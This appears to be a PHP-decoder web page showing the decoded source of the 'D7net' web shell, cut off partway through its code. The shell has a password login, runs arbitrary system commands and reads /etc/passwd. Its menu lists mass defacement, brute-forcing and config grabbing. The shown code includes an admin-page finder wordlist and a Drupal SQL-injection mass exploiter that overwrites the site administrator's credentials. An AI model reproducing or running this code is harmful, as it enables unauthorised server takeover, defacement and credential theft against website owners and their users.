Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $d7net_pass = "ccc3cb53e60bcac604006d53b35df220fd12826f"; $d7net="7L14auLGsjD8+XGt..

Decoded Output download

session_start();
error_reporting(0);
set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
 

$color = "#00ff00";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';
 
function mlebu_shell() {
?>
<html>
<body>
<head>
<title>. : : Login D7net : : .</title>
<link href='https://thecryptoshow.com/wp-content/uploads/2017/11/fatcom-1.ico' rel='icon' 

type='image/x-icon'/>
<center>
<style>
<style type='text/css'>
@import url(https://fonts.googleapis.com/css?family=Ubuntu);
html {
	background: #000000;
	color: #FFF;
	font-family: 'Ubuntu';
	font-size: 13px;
	width: 100%;
}
input[type=text], input[type=password],input[type=submit] {
	background: transparent; 
	color: #FF0000; 
	border: 0px solid #FF0000;
	margin: 2px auto;
	padding-left: 2px;
	font-family: 'Ubuntu';
	font-size: 10px;
}
body  {background: url(https://www.kaorinusantara.or.id/wp-content/uploads/2018/01/Darlifra-header-1.jpg) no-repeat center center fixed;
                                background-size: cover;
                                    -webkit-background-size: cover;
                                    -moz-background-size: cover;
                                    -o-background-size: cover;
	}
</style>
<img border="0" data-original-height="1280" data-original-width="1280" height="320" 

src="https://3.bp.blogspot.com/-hBGrbH1B6mg/Wo7oe0ktjcI/AAAAAAAAAU8/Z4vm8YTdXs8LTZS4mKKSlTrTZDtAN-JCACPcBGAYYCw/s320/Chino%2BLogo%2BBy%2Bd7net.png" width="320"/><br></table></td>
<div align=center ><br>
<br><br /><fieldset style="border: 1px solid rgb(69, 69, 69); padding: 

4px;width:450px;bgcolor:grey;align:center;font-family:tahoma;font-size:10pt"><legend><font 

color=red><B>Login</b></font></legend><legend>
<select type="text"  id="user_name"  name="username" class="login-input" placeholder="User login">
<option>- select -</option>
<option>author d7net</option>
<option>d7net user</option>
</select><br><br>
    <a style="color: red;"> Password :<form method="post"><input type="password" name="passwod"><input type="submit" value="Login" class="login-submit"></center><form method="post"><input type="password" name="pass"></form>
<?php
exit;
}
if(!isset($_SESSION[sha1($_SERVER['HTTP_HOST'])]))
    if( empty($d7net_pass) || ( isset($_POST['pass']) && (sha1($_POST['pass']) == $d7net_pass) ) )
        $_SESSION[sha1($_SERVER['HTTP_HOST'])] = true;
    else
        mlebu_shell();
if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
    @ob_clean();
    $file = $_GET['file'];
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}
?>
<html>
<head>
<center>
<link rel="SHORTCUT ICON" href="https://scontent-sit4-1.xx.fbcdn.net/v/t34.0-12/17821053_272489359875739_1796192318_n.jpg?oh=f97c2795550c4f3fec937245a89c6579&oe=58E70169" type="image/gif">
<title>.:: D7net Shel ::.</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
<meta name="keywords" content="D704T"/>
<meta name="description" content="Desktop77N3T">
<meta name="author" content="Desktop77N3T">
<meta name="googlebot" content="all,index,follow">
<meta name="robots" content="index, follow">
<img style="position: fixed; top:0; right:2; z-index:100;" height="200" src="https://3.bp.blogspot.com/-hBGrbH1B6mg/Wo7oe0ktjcI/AAAAAAAAAU8/Z4vm8YTdXs8LTZS4mKKSlTrTZDtAN-JCACPcBGAYYCw/s320/Chino%2BLogo%2BBy%2Bd7net.png" width="200"/>
<center><style type='text/css'>
@font-face {
    font-family: 'ubuntu_monoregular';
 
}html {
    background-color: black;
    background-attachment: fixed;
    background-repeat: no-repeat;
    background-position: center;
    background-size: 1280px;
    color: white;
    font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
    font-size: 13px;
    width: 100%;
}
.phpinfo table{width:100%;padding:0 0 0 0;} 
.phpinfo td{background:black;color:#cccccc;padding:6px 8px;;} 
.phpinfo th, th{background:#191919;border-bottom:1px solid #333333;font-weight:normal;} 
.phpinfo h2, .phpinfo h2 a{text-align:center;font-size:16px;padding:0;margin:30px 0 0 0;background:#222222;padding:4px 0;}
li {
    display: inline;
    margin: 5px;
    padding: 5px;
    font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
    color: white
}
table, th, td {
    font-family:ubuntu_monoregular;
    background: black;
    font-size: 13px;
}
.th_home {
    font-family:ubuntu_monoregular;
     font-size: 12px;
     background:#000000;
     color:red;
     border-color: #FF0000;
     text-decoration:none;
     letter-spacing:2px;
}
.table_home, .td_home {
	text-align:left;
	margin:0 4px 0 0;
	padding:0 4px 0 0;
}
.table_home td:hover {
    background: #8f1b0b;
}
th {
    padding: 10px;
    font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
}
a {
    color: yellow;
    text-decoration: none;
}
.asu a{
    color: red;
}
.asu a:hover {
    color: white;
    text-decoration: none;
}
#menu a {
     font-family:ubuntu_monoregular;
	-moz-box-shadow:inset 0px 34px 0px -15px #1a1717;
	-webkit-box-shadow:inset 0px 34px 0px -15px #1a1717;
	box-shadow:inset 0px 34px 0px -15px #1a1717;
	background-color:#000000;
	border:1px solid #ff0000;
	display:inline-block;
	cursor:pointer;
	color:#ff0505;
	font-family:comis sans ms;
	font-size:17px;
	font-weight:bold;
	padding:3px 11px;
	text-decoration:none;
	text-shadow:0px -1px 0px #ff0505;
       }
#menu a:hover {
	background-color:#8f1b0b;;
	color: yellow;
	text-decoration: italic;
       }
b {
    color: red;
}

input[type=text], input[type=password],input[type=submit] {
    background: black; 
    color: #ffffff; 
    margin:0 4px;
    border: 1px solid white; 
    padding-left: 5px;
    font-family:ubuntu_monoregular;border:1;
    font-size: 13px;
}
textarea {
	width: 100%;
	height: 400px;
	border: 2px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
	border-bottom:3px solid #FF0000;
	border-left:3px solid #FF0000;
	border-top:3px solid #FF0000;
	border-right:3px solid #FF0000;
}

option:hover {
    background: #363636;
    color: #000000;
}
.bgd7net {width:1250px;height:15;background-color:#FF0000;
filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0, startColorstr='#FF0000', endColorstr='#FF0000');
background-image:-webkit-linear-gradient(top, #FF0000 0%, #061cf3 50%, #000000 100%);
background-image:-moz-linear-gradient(top, #FF0000 0%, #000000 50%, #000000  100%);
background-image:-ms-linear-gradient(top, #000000 0%, #061cf3%, #000000  100%);
background-image:-o-linear-gradient(top, #000000 0%, #061cf3%, #000000  100%);
  background-image:linear-gradient(top, #000000 0%, #061cf3%, #000000  100%);
}
</style>
</head>
<center>
<font color="red" face="Iceberg">D7net<font color="yellow" face="Iceberg"> SheLL </font><br>
<?php
if (file_exists("php.ini")){
}else{
$img = fopen('php.ini', 'w');
$sec = "safe_mode = OFF
disable_funtions = NONE";
fwrite($img ,$sec);
fclose($img);}      
function w($dir,$perm) {
    if(!is_writable($dir)) {
        return "<font color=red>".$perm."</font>";
    } else {
        return "<font color=white>".$perm."</font>";
    }
}
function exe($cmd) {    
if(function_exists('system')) {         
        @ob_start();        
        @system($cmd);      
        $buff = @ob_get_contents();         
        @ob_end_clean();        
        return $buff;   
    } elseif(function_exists('exec')) {         
        @exec($cmd,$results);       
        $buff = "";         
        foreach($results as $result) {          
            $buff .= $result;       
        } return $buff;     
    } elseif(function_exists('passthru')) {         
        @ob_start();        
        @passthru($cmd);        
        $buff = @ob_get_contents();         
        @ob_end_clean();        
        return $buff;   
    } elseif(function_exists('shell_exec')) {       
        $buff = @shell_exec($cmd);      
        return $buff;   
    } 
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function hdd($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function ambilKata($param, $kata1, $kata2){
    if(strpos($param, $kata1) === FALSE) return FALSE;
    if(strpos($param, $kata2) === FALSE) return FALSE;
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}
if(get_magic_quotes_gpc()) {
    function d7net_ss($array) {
        return is_array($array) ? array_map('d7net_ss', $array) : stripslashes($array);
    }
    $_POST = d7net_ss($_POST);
}

if(isset($_GET['dir'])) {
    $dir = $_GET['dir'];
    chdir($_GET['dir']);
} else {
    $dir = getcwd();
}
$dir = str_replace("\","/",$dir);
$freespace = hdd(disk_free_space("/"));
$total = hdd(disk_total_space("/"));
$used = $total - $freespace;
$scdir = explode("/", $dir);
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<th><font color=white>ON</font>" : "<font color=red>MATI</font>";
$ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
$ds = @ini_get("disable_functions");
$pg_on = (function_exists('pg_connect')) ? "<font color=white>ON</font>" : "<font color=red>OFF</font>";
$ora_on = (function_exists('ocilogon')) ? "<font color=white>ON</font>" : "<font color=red>OFF</font>";
$mssql_on = (function_exists('mssql_connect')) ? "<font color=white>ON</font>" : "<font color=red>OFF</font>";
$mysql = (function_exists('mysql_connect')) ? "<font color=white>ON</font>" : "<font color=red>OFF</font>";
$curl = (function_exists('curl_version')) ? "<font color=white>ON</font>" : "<font color=red>OFF</font>";
$wget = (exe('wget --help')) ? "<font color=white>ON</font>" : "<font color=red>OFF</font>";
$perl = (exe('perl --help')) ? "<font color=white>ON</font>" : "<font color=red>OFF</font>";
$python = (exe('python --help')) ? "<font color=white>ON</font>" : "<font color=red>OFF</font>";
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=white>OFFLINE</font></th>";

if(!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(posix_geteuid());
    $gid = @posix_getgrgid(posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}
$admin_id=$_SERVER['SERVER_ADMIN'];
$software = getenv("SERVER_SOFTWARE");
$d0mains = @file("/etc/named.conf");
            $users=@file('/etc/passwd');
        if($d0mains)
        { 
            $count;  
            foreach($d0mains as $d0main)
            {
                if(@ereg("zone",$d0main))
                {
                    preg_match_all('#zone "(.*)"#', $d0main, $domains);
                    flush();
                    if(strlen(trim($domains[1][0])) > 2)
                    {
                        flush();
                        $count++;
                    } 
                }
            }
        }

$sport=$_SERVER['SERVER_PORT'];
echo "<center>";
echo "<td onkeydown='return false' onmousedown='return false'></td>";
echo "<tr><td>System: ".php_uname()."</td></tr><br>";
echo "<tr><td>PHP Version : ".phpversion()." <font color='white'> on</font> ".php_sapi_name()." <font class='asu'>( <a href='?dir=$dir&D7net=phinfo'>PHP Info</a> )</font></td></tr><br>";
echo "<tr><td>User: ".$user." (".$uid.") Group: ".$group." (".$gid.")</td></tr><td>Admin : ".$admin_id." | Websites: $count  Domains</td><br>";
echo "<tr><td>Server IP: ".gethostbyname($_SERVER['HTTP_HOST'])." | Your IP: ".$_SERVER['REMOTE_ADDR']." | Port :  $sport </td></tr><br>";
echo "<tr><td>HDD: $used / $total ( Sisa: $freespace )</td></tr><br>";
echo "<tr><td>Disable Functions: $show_ds</td></tr><br>";
echo "<tr><td>Safe Mode: $sm</td></tr><br>";
echo "<tr><td>MySQL: $mysql | MSSQL: $mssql_on | cURL: $curl | Perl: $perl | Python: $python | WGet: $wget | PostgreSQL: $pg_on | Oracle: $ora_on</td></tr><br>";
echo "</td></tr></table><br><div class='bgd7net'><br>";
echo "<p><center><div id=menu border='1' >";
echo "<hr color='yellow'><a href='?'>Home</a> ";
echo " <a href='http://www.awesome-exploits.info/' target='blank'>Author</a> ";
echo " <a href='?dir=$dir&D7net=about'>About</a> ";
echo " <a href='?dir=$dir&D7net=metu'>Logout</a><hr color='yellow'>";
echo "<ul>";
echo " <a href='?dir=$dir&D7net=upload'>Upload</a> ";
echo " <a href='?dir=$dir&D7net=cmd'>Command</a> ";
echo " <a href='?dir=$dir&D7net=mass_deface'>Mass Deface</a> ";
echo " <a href='?dir=$dir&D7net=config'>ConfigGrabber</a> ";
echo " <a href='?dir=$dir&D7net=auto_edit_user'>Auto EditUser</a> ";
echo " <a href='?dir=$dir&D7net=lompat_indah'>Loncat Indah</a> ";
echo " <a href='?dir=$dir&D7net=symlink'>Symlink</a> ";
echo " <a href='?dir=$dir&D7net=csrf'>CSRF Exploiter</a> ";
echo " <a href='?dir=$dir&D7net=adfin'>AdminFinder</a><br><br> ";
echo " <a href='?dir=$dir&D7net=brute'>FTP BruteForce</a> ";
echo " <a href='?dir=$dir&D7net=cpdepes'>CPanel Auto Deface</a> ";
echo " <a href='?dir=$dir&D7net=cpanel'>CPanel Crack</a> ";
echo " <a href='?dir=$dir&D7net=smtp'>SMTP Grabber</a> ";
echo " <a href='?dir=$dir&D7net=loghunter'>LogHunter</a> ";
echo " <a href='?dir=$dir&D7net=auto_dwp'>WordPressAutoDeface</a> ";
echo " <a href='?dir=$dir&D7net=auto_dwp2'>WordPressAutoDeface V2</a><br><br> ";
echo " <a href='?dir=$dir&D7net=auto_wp'>WordPressAutoEditTitle</a> ";
echo " <a href='?dir=$dir&D7net=wpbrute'>WordPressBruteForce</a> ";
echo " <a href='?dir=$dir&D7net=adminer'>Adminer</a> ";
echo " <a href='?dir=$dir&D7net=zoneh'>Zone-H</a> ";
echo " <a href='?dir=$dir&D7net=defid'>Defacerid</a> ";
echo " <a href='?dir=$dir&D7net=network'>Network</a> ";
echo " <a href='?dir=$dir&D7net=sec'>SafeMode</a> ";
echo " <a href='?dir=$dir&D7net=fake_root'>Fake Root</a> ";
echo " <a href='?dir=$dir&D7net=port'>Port Scanner</a><br><br> ";
echo " <a href='?dir=$dir&D7net=mal'>MalwareTools</a> ";
echo " <a href='?dir=$dir&D7net=magento'>Magento Exploiter</a> ";
echo " <a href='?dir=$dir&D7net=lokmed'>Lokomedia Exploiter</a> ";
echo " <a href='?dir=$dir&D7net=balitbang'>Balitbang Exploiter</a> ";
echo " <a href='?dir=$dir&D7net=passwbypass'>Bypass etc/passw</a> ";
echo " <a href='?dir=$dir&D7net=python'>Symlink Python</a><br><br> ";
echo " <a href='?dir=$dir&D7net=drupal'>Drupal MassExploiter</a> ";
echo " <a href='?dir=$dir&D7net=cmsvuln'>CMS Vulnerability Scanner</a> ";
echo " <a href='?dir=$dir&D7net=ED'>Encode/Decode</a> ";
echo " <a href='?dir=$dir&D7net=hashid'>Hash Identifier</a>";
echo " <a href='?dir=$dir&D7net=64base'>Base64</a> ";
echo " <a href='?dir=$dir&D7net=zip'>Zip Menu</a><br><br> ";
echo " <a href='?dir=$dir&D7net=krdp'>K-RDP Shell</a> ";
echo " <a href='?dir=$dir&D7net=cgi'>CGI Perl</a> ";
echo " <a href='?dir=$dir&D7net=phinfo'>PHP Info</a> ";
echo " <a href='?dir=$dir&D7net=infosec'>Server Info</a> ";
echo "</ul>";
echo "</div>";
echo "<tr><td>Dir : ";
foreach($scdir as $c_dir => $cdir) {   
    echo "<a href='?dir=";
    for($i = 0; $i <= $c_dir; $i++) {
        echo $scdir[$i];
        if($i != $c_dir) {
        echo "/";
        }
    }
    echo "'>$cdir</a>/";
}
echo "<br><br>";
if($_GET['D7net'] == 'upload') {
    echo "<center>";
    if($_POST['upload']) {
        if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
            $act = "<font color=lime>Succces Upload</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
        } else {
            $act = "<font color=red>Failed Upload</font>";
        }
    }
    echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' class='kotak' value='Upload' name='upload'></form>";
    echo $act;
    ;
    echo "</center>";
}
elseif ($_GET['D7net'] == adfin) {
echo "<form action='' method='post'>";
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
adm/
_adm_
_admin_
_administrator_
operator
sika
adminweb
develop
ketua
redaktur
author
user
new
newadmin
new/index.php
new/index.html
newadmin/index.php
newadmin/index.html
new/login.php
new/login.html
admin/uploadimage.php
admin/submit.php
admin/uploadbg.php
wp-admin
index.php/admin
index.php/login
index.php/admin.php
index.php/admin.html
index.php/login.php
index.php/login.html
users
dinkesadmin
retel
panel
paneladmin
panellogin
redaksi
cp-admin
Login@web
admin1
admin2
admin3
admin4
admin5
admin6
admin7
admin8
admin9
admin10
master
master/index.php
master/login.php
terasadmin/index.php
terasadmin/login.php
rahasia
rahasia/login.php
rahasia/admin.php
rahasia/index.php
dinkesadmin/login.php
adminpmb
adminpmb/index.php
adminpmb/login.php
system
system/index.php
system/login.php
system/admin.php
webadmin
webadmin/index.php
webadmin/login.php
wpanel
wpanel/index.php
wpanel/login.php
adminpanel
adminpanel/index.php
adminpanel/login.php
adminkec
adminkec/index.php
adminkec/login.php
admindesa
admindesa/index.php
admindesa/login.php
adminkota
adminkota/index.php
adminkota/login.php
admin123
admin123/index.php
admin123/login.php
logout
logout/index.php
logout/login.php
logout/admin.php
adminweb_setting
admin1.html
admin
administrator
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login.php
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
ADMON/
administrador/
superadmin/
superadmin.php
ADMIN/login.php
panelc/
panel/admin.php
panel/index.php
ADMIN/login.html";
function template() {
echo ' 
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
    var $this = $text;
    var logbox = document.getElementById($place);
    if($replace == 0)
        document.getElementById($place).innerHTML = logbox.innerHTML+$this;
    else
        document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<div class="mybox" style="text-align:left">
<h1>Admin Page Finder</h1><hr color="white"><br>
<div class="wrapper">
<div class="tube">
<table class="tabnet"><tr><td>
<form action="" method="post" name="xploit_form">
    URL
    &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="border:0;border-bottom:1px solid #292929; width:500px;" /><br><br>
    404 string
    <input type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="border:0;border-bottom:1px solid #292929; width:500px;" /><br><br>
<input class="kotak" type="submit" style="width: 80px; height: 30px; border-color:white;margin:10px 2px 0 2px;" name="xploit_submit" value=" Scan!" align="center" />
</form><br>
<br /></table><hr color="white">
</div> <!-- /tube -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Admin Login List: <span id="verified">0</span> / <span id="total">0</span><br />
<h3 style="color:lime">Nemu!</h3>
</div> <!-- /tube -->
</div><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>';
}
function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
    if($br == 1) $msg .= "<br />";
    echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
    if($stop == 1) exit;
    @flush();@ob_flush();
}
function check($x, $front=0) {
    global $_POST,$site,$false;
    if($front == 0) $t = $site.$x;
    else $t = 'http://'.$x.'.'.$site.'/';
    $headers = get_headers($t);
    if (!eregi('200', $headers[0])) return 0;
    $data = @file_get_contents($t);
    if($_POST['xploit_404string'] == "") if($data == $false) return 0;
    if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
    return 1;
}
 
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if(!isset($_POST['xploit_url'])) die;
if($_POST['xploit_url'] == '') die;
$site = $_POST['xploit_url'];
if ($site[strlen($site)-1] != "/") $site .= "/";
if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
$list['end'] = str_replace("\
", "", $list['end']);
$list['front'] = str_replace("\
", "", $list['front']);
$pathes = explode("\
", $list['end']);
$frontpathes = explode("\
", $list['front']);
show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach($pathes as $path) {
    show('Nge-Cek '.$site.$path.' : ', 0, 0, 'logbox', 0);
    $verificate++; show($verificate, 0, 0, 'verified', 1);
    if(check($path) == 0) show('OFF', 1, 0, 'logbox', 0);
    else{
        show('<span style="color: lime;"><strong>KETEMU!</strong></span>', 1, 0, 'logbox', 0);
        show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
    }
}
preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
if(substr($site, 0, 3) == "www") $site = substr($site, 4);
foreach($frontpathes as $frontpath) {
    show('Nge-Cek http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
    $verificate++; show($verificate, 0, 0, 'verified', 1);
    if(check($frontpath, 1) == 0) show('OFF', 1, 0, 'logbox', 0);
    else{
        show('<span style="color: lime;"><strong>KETEMU!</strong></span>', 1, 0, 'logbox', 0);
        show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
  }
 
}

}
elseif($_GET['D7net'] == drupal) {
    echo "<div class='mybox'>
<h1>Drupal Mass Exploiter</h1><hr color='white'><br>
<form method='post' action=''>
<textarea rows='10'class='mybox' cols='10' name='url'>
http://www.site.com
http://www.site2.com</textarea><br><br>
<input type='submit' class='kotak' style='border-color:white' name='submit' value='SIKAT!'>
</form>
</div>
";
$drupal  = ($_GET["drupal"]);
if($drupal == 'drupal'){
$filename = $_FILES['file']['name'];
$filetmp  = $_FILES['file']['tmp_name'];
echo "<div class='mybox'><form method='POST' enctype='multipart/form-data'>
   <input type='file'name='file' />
   <input type='submit' value='drupal !' />
</form></div>";
move_uploaded_file($filetmp,$filename);
}
    error_reporting(0);
    if (isset($_POST['submit'])) {
        function exploit($url) {
            $post_data = "name[0;update users set name %3D 'owlsquad' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "',status %3D'1' where uid %3D '1';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in";
            $params = array('http' => array('method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded
", 'content' => $post_data));
            $ctx = stream_context_create($params);
            $data = file_get_contents($url . '/user/login/', null, $ctx);
            if ((stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) || (stristr($data, 'FcUk Crap') && $data)) {
